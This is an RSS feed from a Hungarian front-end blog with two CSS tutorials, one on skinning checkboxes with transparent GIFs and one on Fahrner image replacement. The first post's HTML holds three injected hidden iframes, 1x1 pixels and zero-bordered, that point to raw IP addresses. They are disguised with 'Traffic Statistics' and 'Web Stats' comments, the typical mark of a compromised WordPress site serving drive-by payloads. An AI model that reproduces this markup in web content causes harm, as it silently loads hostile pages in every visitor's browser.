<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.1.3" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>fjunkie's frontend log</title>
	<link>http://flog.fjunkie.hu</link>
	<description>Csak egy újabb Wordpress blog</description>
	<pubDate>Wed, 03 Jun 2009 08:49:07 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.1.3</generator>
	<language>en</language>
			<item>
		<title>Checkbox és radio button skinezése, tiszta css alapokon</title>
		<link>http://flog.fjunkie.hu/?p=4</link>
		<comments>http://flog.fjunkie.hu/?p=4#comments</comments>
		<pubDate>Tue, 26 Jun 2007 17:10:22 +0000</pubDate>
		<dc:creator>Ughoo</dc:creator>
		
		<category><![CDATA[css]]></category>

		<category><![CDATA[workaround]]></category>

		<category><![CDATA[megoldás]]></category>

		<guid isPermaLink="false">http://flog.fjunkie.hu/?p=4</guid>
		<description><![CDATA[Egyre gyakoribb, hogy a grafikusok, webdizájnerek szebbnél-szebb form elemeket gyártanak. Sok esetben, ez nem épül mégsem meg, mert a javascript használata még mindig nehézkes időnként, mivel sok esetben nem elegendő, hogy egy oldal látogatóinak 90%-a használ javascriptet. Mi van a fennmaradó 10%-al. Nos rengeteg olyan online szolgáltatás van, aminél igenis fontos tényező, hogy a potenciális [...]]]></description>
			<content:encoded><![CDATA[<p>Egyre gyakoribb, hogy a grafikusok, webdizájnerek szebbnél-szebb form elemeket gyártanak. Sok esetben, ez nem épül mégsem meg, mert a javascript használata még mindig nehézkes időnként, mivel sok esetben nem elegendő, hogy egy oldal látogatóinak 90%-a használ javascriptet. Mi van a fennmaradó 10%-al. Nos rengeteg olyan online szolgáltatás van, aminél igenis fontos tényező, hogy a potenciális ügyfelek egy részét nem tudjuk megfelelően kiszolgálni. Természetesen az is igaz, hogy pl a <a href="http://www.badboy.ro/articles/2005-07-23/niceforms_preview/" target="_blank">niceforms, js alapú form</a> megoldása remek lehetőségeket ad számunkra, ráadásul ha nincs js a böngészőn, a dífolt form elemeket jeleníti meg. Ez szép és jó megoldás persze, csak hát ha megvan a törekvés, egy minden gépen és böngészőn ugyanúgy kinéző formot hozzunk létre, akkor miért is állnánk meg itt.</p>
<p>Egy ideje ráérős időmben azon vagyok, hogy létrehozzak egy alapot képező form.css-t, ami a tökéletes nullázását adná a form elemeknek. A pixel pontosság persze, szinte elérhetetlen, ha figyelembe vesszük az ie, ff, opera input mezőinek erősen eltérő megjelenítését, és a teljesen értelmetlenül eltérő alapértelmezett formázásait minden egyes böngészőnek.</p>
<p>Nándi kollégámat sikerült meghatnom elvetemült szándékommal, és végül egy közös megoldást kísérleteztünk ki, eme nemes feladat ellátására, &#8220;pure css&#8221; alapokon. Ez még csak egy radio buttonra és checkboxra használható megoldást hozott, amit egyenlőre ie-5-6-7, ff 1.5-2, opera 9-en kívűl máshol nem sikerült tesztelnünk, de ezeken már kielégítő megoldást jelent.</p>
<p>A trükk lényege, hogy a LABEL tagot használjuk fel egy image-replace megoldással karöltve, és kicsit trükkös a transparens gif az új megjelenéshez.</p>
<p>Az alábbi html kódban jól látható, hogy a LABEL tagunkba helyezzük a hozzátartozó INPUT-ot, és egy a kép-kitakarós megoldást (FIR) lehetővé tevő SPAN tagot.</p>
<div class="codecolorer-container html" style="height:35px;"><div class="codecolorer" style="font-family: monospace;"><span class="sc2"><span class="kw2">&lt;label</span> <span class="kw3">id</span>=<span class="st0">&quot;label2&quot;</span> <span class="kw3">for</span>=<span class="st0">&quot;teszt2&quot;</span><span class="kw2">&gt;</span></span><span class="sc2"><span class="kw2">&lt;/label&gt;</span></span></div></div>
<input class="checkbox" id="teszt2" type="checkbox" /> <span class="fedo"></span>teszt2 checkbox<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> 13&#215;13<br />
<label id="label3" for="teszt3"></label><br />
<input class="checkbox" id="teszt3" type="checkbox" /> <span class="fedo"></span><br />
teszt3 checkbox 21&#215;21Az input mezők különös állatfajták, így viszoynlag korlátozott mértékben áll módunkban finomítani rajtuk, ez indokolja a példában szereplő 2 méretet (13&#215;13 és 21&#215;21 pixeles méreteket). Az IE szinte az egyetlen, aminél nincs maximum méret korlátja egy checkboxnak, míg a Mozillák ezt egy emberi méretben rögzítik. Másrészt<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> a mezőt magát, egy szabályos négyzetben képzelték el, és ettől eltérni szinte lehetetlen.Javascript nélkül nem áll módunkban a checkbox pipáját lecserélni, és mivel majdnem minden böngésző más css-style definiciókat alkalmaz az INPUTokra, ezért is jutottunk arra következtetésre, hogy a form elem kinézetét egy transparens gif-fel oldjuk meg.</p>
<div class="codecolorer-container css" style="height:280px;"><div class="codecolorer" style="font-family: monospace;"><span class="coMULTI">/* 13x13 */</span><br />
label<span class="re0">#label2</span> <span class="br0">&#123;</span><br />
position<span class="re2">:relative</span>;<br />
display<span class="re2">:block</span>;<br />
width<span class="re2">:<span class="re3">200px</span></span>;<br />
height<span class="re2">:<span class="re3">13px</span></span>;<br />
line-height<span class="re2">:<span class="re3">13px</span></span>;<br />
vertical-align<span class="re2">:middle</span>;<br />
font-size<span class="re2">:<span class="re3">10px</span></span>;<br />
<span class="br0">&#125;</span><br />
label<span class="re0">#label2</span> input<span class="re1">.checkbox</span> <span class="br0">&#123;</span><br />
width<span class="re2">:<span class="re3">13px</span></span>;<br />
height<span class="re2">:<span class="re3">13px</span></span>;<br />
display<span class="re2">:inline-block</span>;<br />
<span class="kw1">margin</span>: <span class="re3">0px</span>;<br />
outline<span class="re2">:<span class="re3">0px</span></span>;<br />
border<span class="re2">:none</span>;<br />
<span class="br0">&#125;</span><br />
label<span class="re0">#label2</span> span<span class="re1">.fedo</span> <span class="br0">&#123;</span><br />
position<span class="re2">:absolute</span>;<br />
display<span class="re2">:block</span>;<br />
width<span class="re2">:<span class="re3">13px</span></span>;<br />
height<span class="re2">:<span class="re3">13px</span></span>;<br />
font-size<span class="re2">:<span class="re3">8px</span></span>;<br />
top<span class="re2">:<span class="re3">0px</span></span>;<br />
left<span class="re2">:<span class="re3">0px</span></span>;<br />
<span class="kw1">background</span>: <span class="kw2">url</span><span class="br0">&#40;</span><span class="re4">checkbox<span class="re1">.gif</span></span><span class="br0">&#41;</span> <span class="kw2">no-repeat</span> <span class="kw1">left</span> <span class="kw1">top</span>;<br />
<span class="br0">&#125;</span><br />
<span class="coMULTI">/* 21x21 */</span><br />
label<span class="re0">#label3</span> <span class="br0">&#123;</span><br />
position<span class="re2">:relative</span>;<br />
display<span class="re2">:block</span>;<br />
width<span class="re2">:<span class="re3">200px</span></span>;<br />
height<span class="re2">:<span class="re3">23px</span></span>;<br />
line-height<span class="re2">:<span class="re3">15px</span></span>;<br />
vertical-align<span class="re2">:baseline</span>;<br />
font-size<span class="re2">:<span class="re3">13px</span></span>;<br />
padding<span class="re2">:<span class="re3">0px</span></span>;<br />
<span class="br0">&#125;</span><br />
label<span class="re0">#label3</span> input<span class="re1">.checkbox</span> <span class="br0">&#123;</span><br />
width<span class="re2">:<span class="re3">24px</span></span>;<br />
height<span class="re2">:<span class="re3">24px</span></span>;<br />
display<span class="re2">:block</span>;<br />
<span class="kw1">margin</span>: <span class="re3">0px</span>;<br />
padding<span class="re2">:<span class="re3">0px</span></span>;<br />
outline<span class="re2">:<span class="re3">0px</span></span>;<br />
<span class="kw1">border</span>: <span class="re3">0px</span> <span class="kw2">solid</span>;<br />
<span class="br0">&#125;</span><br />
label<span class="re0">#label3</span> span<span class="re1">.fedo</span> <span class="br0">&#123;</span><br />
position<span class="re2">:absolute</span>;<br />
display<span class="re2">:block</span>;<br />
width<span class="re2">:<span class="re3">21px</span></span>;<br />
height<span class="re2">:<span class="re3">21px</span></span>;<br />
font-size<span class="re2">:<span class="re3">8px</span></span>;<br />
top<span class="re2">:<span class="re3">1px</span></span>;<br />
left<span class="re2">:<span class="re3">1px</span></span>;<br />
float<span class="re2">:left</span>;<br />
<span class="kw1">background</span>: <span class="kw2">url</span><span class="br0">&#40;</span><span class="re4">checkbox21<span class="re1">.gif</span></span><span class="br0">&#41;</span> <span class="kw2">no-repeat</span> <span class="kw1">left</span> <span class="kw1">top</span>;<br />
<span class="br0">&#125;</span></div></div>
<p>A fenti kódból jól kitűnik, egy FIR-es megoldással a LABEL-ben, a checkbox főlé feszítünk egy gif-et. Minthogy mindenki kicsit eltérően jeleníti meg a checkboxot, mindenki kicsit más árnyék-effektekkel, és más pipával, ezért úgy határoztunk, a pipát kivéve kitakarjuk a többit. Ha a transzparens gifet megvizsgáljuk,  jól látható, hogy a cél érdekében többször is csaltunk <img src='http://flog.fjunkie.hu/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /><br />
<a href="http://flog.fjunkie.hu/demo/checkbox.gif" target="_blank" rel="lightbox" title="checkbox 13x13">checkbox.gif</a><br />
<a href="http://flog.fjunkie.hu/demo/checkbox21.gif" target="_blank" rel="lightbox" title="checkbox 21x21">checkbox21.gif</a></p>
<p>Az egyik ilyen, hogy a kép közvetlen közepe az, ami áttetsző, mivel a checkbox teljes keretét megpróbáljuk elfedni. A pipa közvetlen környezetét is ki-ki takarjuk még, ez a gif-en a középtájékon elhelyezkedő fehér rész, mivel előfordult olyan böngésző, ami a takarás ellenére, a chechkbox default keretét helyenként megjelenítette még a takarás ellenére is.</p>
<p>No de, a legérdekesebb részek egyike, hogy miért is csempésztük bele a LABEL tagba magát az INPUTot. Sokat vitatható kérdés, vajon hogy lenne tisztább egy input-label használata. Sokakkal beszéltem, akik a dizájnolhatóság kedvéért előszeretettel rakják a LABELbe az inputot magát, én helyzetfüggően szoktam ezt alkalmazni.</p>
<p>A jelen eset hatalmazott fel rá, hogy most is így járjunk el. Ennek leginkább az volt az oka, hogy míg a MOZILLÁk hajlandóak egy teljes mértékben letakart INPUT-nak is átadni a klikk eseményt (szűlő-gyermek viszony következtében), addig ezt az MS szépséges kék E betűje nem hajlandó eljátszani. Így a LABEL FOR van olyan kedves és IE bácsinak is elmondja, hogy &#8220;hékás, ide klikkeltek no&#8230;..&#8221;</p>
<p><a href="http://flog.fjunkie.hu/demo/checkbox.html" title="demonstráció" rel="lightbox" target="_blank">demonstráció</a><!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --></p>
]]></content:encoded>
			<wfw:commentRss>http://flog.fjunkie.hu/?feed=rss2&amp;p=4</wfw:commentRss>
		</item>
		<item>
		<title>Css Image replace a gyakorlatban</title>
		<link>http://flog.fjunkie.hu/?p=3</link>
		<comments>http://flog.fjunkie.hu/?p=3#comments</comments>
		<pubDate>Sat, 16 Jun 2007 17:43:49 +0000</pubDate>
		<dc:creator>Ughoo</dc:creator>
		
		<category><![CDATA[css]]></category>

		<category><![CDATA[iebug]]></category>

		<guid isPermaLink="false">http://flog.fjunkie.hu/?p=3</guid>
		<description><![CDATA[css image replace, a SEO kihasználása, css-el okos, és látványos megoldás, fir - fahrner image replace leírása]]></description>
			<content:encoded><![CDATA[<p>Az image replacek az előnyös, és látványos css megoldások közé tartoznak. Mivel egyre többet használják öket, és egyre több oldalt, és sitebuildert érint a dolog, gondoltam előveszem egy kicsit a témát.</p>
<p>Igaz, már magyarul is született egy egész remek leírás a témáról, Tornado-nak köszönhetően a <a href="http://www.cloneshit.hu/2005/11/28/2577" target="_blank">Cloneshit</a>-en, azért mégis lenne egy-két kiegészítendő része a dolognak, és egyből kibővíteném egyéb lehetőségekkel, pl a felhasznált textúrával kapcsolatban, vagy annak tologatása kapcsán. A bejegyzés írása közben leltem meg a <a href="http://users.hszk.bme.hu/~hj130/css/list_menu/index_fomenu/" target="_blank">Szöveges menü képessé alakítása lépésről lépésre</a> című remek leírást, ennek ellenére kifejtem a dolgot <img src='http://flog.fjunkie.hu/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Az image replace egyben SEO barát, másrészt ha a gombok állapotait és eleve a gombokat magukat egy képre helyezzük, jelentősen csökkenthetjük a fileok számát, és preloadra se nagyon lesz szükség</p>
<p>Az alábbi példában a lehető legjobb megoldást fogom tálalni, egy footer esetére levetítve</p>
<p><strong>FIR - FARHNER IMAGE REPLACEMENT</strong></p>
<p>Ezt egy viszonylag egyszerű, egy, valamint több &lt;a&gt; és &lt;span&gt; tagból álló eltérő gomb szélességű menün mutatom be. Nézzük a html kódot:</p>
<div class="codecolorer-container xhtml"><div class="codecolorer" style="font-family: monospace;"><span class="sc2"><span class="kw2">&lt;div</span> <span class="kw3">id</span>=<span class="st0">&quot;footer&quot;</span><span class="kw2">&gt;</span></span> <span class="sc2"><span class="kw2">&lt;a</span> <span class="kw3">id</span>=<span class="st0">&quot;menu-item1&quot;</span><span class="kw2">&gt;</span></span>Menu 1<span class="sc2"><span class="kw2">&lt;span&gt;</span></span><span class="sc2"><span class="kw2">&lt;/span&gt;</span></span><span class="sc2"><span class="kw2">&lt;/a&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;a</span> <span class="kw3">id</span>=<span class="st0">&quot;menu-item2&quot;</span><span class="kw2">&gt;</span></span>Menu 2<span class="sc2"><span class="kw2">&lt;span&gt;</span></span><span class="sc2"><span class="kw2">&lt;/span&gt;</span></span><span class="sc2"><span class="kw2">&lt;/a&gt;</span></span>...</div></div>
<p>A CSS kód részleteiben:</p>
<p>A footert tartalmazó doboz:</p>
<div class="codecolorer-container css"><div class="codecolorer" style="font-family: monospace;">div<span class="re0">#footer</span> <span class="br0">&#123;</span><br />
<span class="kw1">position</span>: <span class="kw2">relative</span>;<br />
<span class="kw1">display</span>: <span class="kw2">block</span>;<br />
<span class="kw1">width</span>: <span class="kw2">auto</span>;<br />
<span class="kw1">height</span>: <span class="re3">21px</span>;<br />
<span class="br0">&#125;</span></div></div>
<p>A footer &lt;a&gt; elemének definiálása (kötelező tulajdonságok: position, display:block, height, overflow)</p>
<div class="codecolorer-container css"><div class="codecolorer" style="font-family: monospace;">div<span class="re0">#footer</span> a <span class="br0">&#123;</span><br />
<span class="kw1">position</span>: <span class="kw2">relative</span>;<br />
<span class="kw1">display</span>: <span class="kw2">block</span>;<br />
<span class="kw1">height</span>: <span class="re3">21px</span>;<br />
<span class="kw1">overflow</span>: <span class="kw2">hidden</span>;<br />
float<span class="re2">:left</span>;<br />
<span class="br0">&#125;</span></div></div>
<p>Majd az &lt;a&gt; elemek méretét, szélességét egyenként megadjuk (hiszen a kép alapú gombok esetén, eltérő gomb szélesség van) - Ha absolute<br />
helyezzük el az &lt;a&gt; tagokat is, akkor érdemes ebben a sorban megadni az elemek top, és left értékeit is!</p>
<div class="codecolorer-container css"><div class="codecolorer" style="font-family: monospace;">a<span class="re0">#menu-item1</span> <span class="br0">&#123;</span> <span class="kw1">width</span>: <span class="re3">109px</span>; <span class="br0">&#125;</span><br />
a<span class="re0">#menu-item2</span> <span class="br0">&#123;</span> <span class="kw1">width</span>: <span class="re3">71px</span>; <span class="br0">&#125;</span><br />
a<span class="re0">#menu-item3</span> <span class="br0">&#123;</span> <span class="kw1">width</span>: <span class="re3">36px</span>; <span class="br0">&#125;</span></div></div>
<p>A FIR lényege, hogy az &lt;a&gt; elemben hagyunk egy üres &lt;span&gt;&lt;/span&gt; elemet, ez lesz a kitakaró elem. Fontos, hogy a legfelső absolute pozíciónált elemet rendereli legfelülre a böngésző, ezért ezzel a spannal, 100% magasság és szélességet kell felvennünk, hogy teljes mértékben lefedje az &lt;a&gt; elemünk text szövegét. Mivel abszolut pozíciónáltuk, ezért érdemes megadni a span bal-felső koordinátáit a top:0px; és a left:0px; -el. Végül az egy soros background-dal az összes gombunk takaró spanjának megadjuk a kívánt, egy háttérrel megoldott menüképünket.</p>
<div class="codecolorer-container css"><div class="codecolorer" style="font-family: monospace;">div<span class="re0">#footer</span> a span <span class="br0">&#123;</span><br />
<span class="kw1">position</span>: <span class="kw2">absolute</span>;<br />
<span class="kw1">background</span>: <span class="kw2">url</span><span class="br0">&#40;</span><span class="re4">button<span class="re1">.gif</span></span><span class="br0">&#41;</span> <span class="kw2">no-repeat</span>;<br />
<span class="kw1">width</span>: <span class="re3"><span class="nu0">100</span>%</span>;<br />
<span class="kw1">height</span>: <span class="re3"><span class="nu0">100</span>%</span>;<br />
<span class="kw1">top</span>: <span class="re3">0px</span>;<br />
<span class="kw1">left</span>: <span class="re3">0px</span>;<br />
<span class="kw1">display</span>: <span class="kw2">block</span>;<br />
<span class="kw1">overflow</span>: <span class="kw2">hidden</span>;<br />
<span class="br0">&#125;</span></div></div>
<p>Végül minden egyes spannak - direkt célzással - felvesszük a háttérképén a megfelelő pozíciót. Elöször definiáljuk az alap állapotát, majd a hover-t. Mivel a gombok alap és rollOver állapotát érdemes egymás alatt elhelyezni, ezért a két background állapot között a jobb oldali értékkel, a fentről -24px-ellel lejjebb változik.</p>
<div class="codecolorer-container css"><div class="codecolorer" style="font-family: monospace;">div<span class="re0">#footer</span> a<span class="re0">#menu-item1</span> span <span class="br0">&#123;</span><br />
<span class="kw1">background-position</span>: -<span class="re3">4px</span> <span class="re3">0px</span>;<br />
<span class="br0">&#125;</span><br />
div<span class="re0">#footer</span> a<span class="re0">#menu-item1</span><span class="re2">:hover</span> span <span class="br0">&#123;</span><br />
<span class="kw1">background-position</span>: -<span class="re3">4px</span> -<span class="re3">24px</span>;<br />
<span class="br0">&#125;</span><br />
div<span class="re0">#footer</span> a<span class="re0">#menu-item2</span> span <span class="br0">&#123;</span><br />
<span class="kw1">background-position</span>: -<span class="re3">118px</span> <span class="re3">0px</span>;<br />
<span class="br0">&#125;</span><br />
div<span class="re0">#footer</span> a<span class="re0">#menu-item2</span><span class="re2">:hover</span> span <span class="br0">&#123;</span><br />
<span class="kw1">background-position</span>: -<span class="re3">118px</span> -<span class="re3">24px</span>;<br />
<span class="br0">&#125;</span><br />
div<span class="re0">#footer</span> a<span class="re0">#menu-item3</span> span <span class="br0">&#123;</span><br />
<span class="kw1">background-position</span>: -<span class="re3">194px</span> <span class="re3">0px</span>;<br />
<span class="br0">&#125;</span><br />
div<span class="re0">#footer</span> a<span class="re0">#menu-item3</span><span class="re2">:hover</span> span <span class="br0">&#123;</span><br />
<span class="kw1">background-position</span>: -<span class="re3">194px</span> -<span class="re3">24px</span>;<br />
<span class="br0">&#125;</span></div></div>
<p>A metódus maga, csak elsőre tünik olyan bonyolultnak, ráadásul utolagosan akár egy img taget, könnyen kiszedhető egy gomb a html-ünkből, vagy szimplán css-ből az li idjén keresztül display:none-al eltüntethető.</p>
<p>és a számunkra legfontosabb részletek, maguk a BUGOK:</p>
<p>És igen, mint minden css alapú dolognál itt is vannak böngésző eltérésekből fakadó hiányosságok, hibák, bugok, stb.</p>
<ol>
<li>Az egyik ilyen, egy ie5 és ie6nál felmerülő eset, hogyha a css elején nem definiáltunk eltérő text-decoration állapotot az &#8216;a&#8217; és &#8216;a:hover&#8217;-nek, akkor az ie hajlamos elfelejteni az első hover megjelenítése után az egér elmozgatása esetén az alap állapotra vissza húzni a gomb textúráját.</li>
<li>A másik, hogy GoogleToolbar, Yahoo toolbar, és Ie devtools használata esetén villódzni szeret szerencsétlen imagereplace, ami megint csak nem túl szerencsés.</li>
<li>Végül, hogy pl ie, ff, opera előfordul, hogy eltérően számítják egy háttértextúra 0px-es értékét, és egy 1 pixeles eltérés figyelhető meg, de ezzel is viszonylag ritkán bukik le a shitbuilder <img src='http://flog.fjunkie.hu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> - gyakran megoldás lehet rá, hogy 0px helyett a top vagy elf tértéket adjuk meg, illetve, hogy 1px-t állítunk be, így már mindannyian ugyanazt a pontot fogják megjelölni.</li>
</ol>
<p>Természetesen egyéb képcserélős css metódusok is akadnak, részletesebben az alábbi linkeken találsz felvilágosítást, illetve néhány egyéb technika is bemutatkozik, hogy egyes szitúációkat, hogyan lehet elkerülni&#8230;</p>
<blockquote><p><a href="http://levin.grundeis.net/files/20030809/alternatefir.html" target="_blank">alternate fir</a><br />
<a href="http://www.mezzoblue.com/tests/revised-image-replacement/" target="_blank">revised-image-replacement</a><br />
<a href="http://www.ryznardesign.com/web_coding/image_replacement/" target="_blank">image_replacement</a></p></blockquote>
<p>Elsőre ennyi jutott eszembe a téma kapcsán, remélem segítségedre voltam <img src='http://flog.fjunkie.hu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Előre!!!</p>
]]></content:encoded>
			<wfw:commentRss>http://flog.fjunkie.hu/?feed=rss2&amp;p=3</wfw:commentRss>
		</item>
	</channel>
</rss>
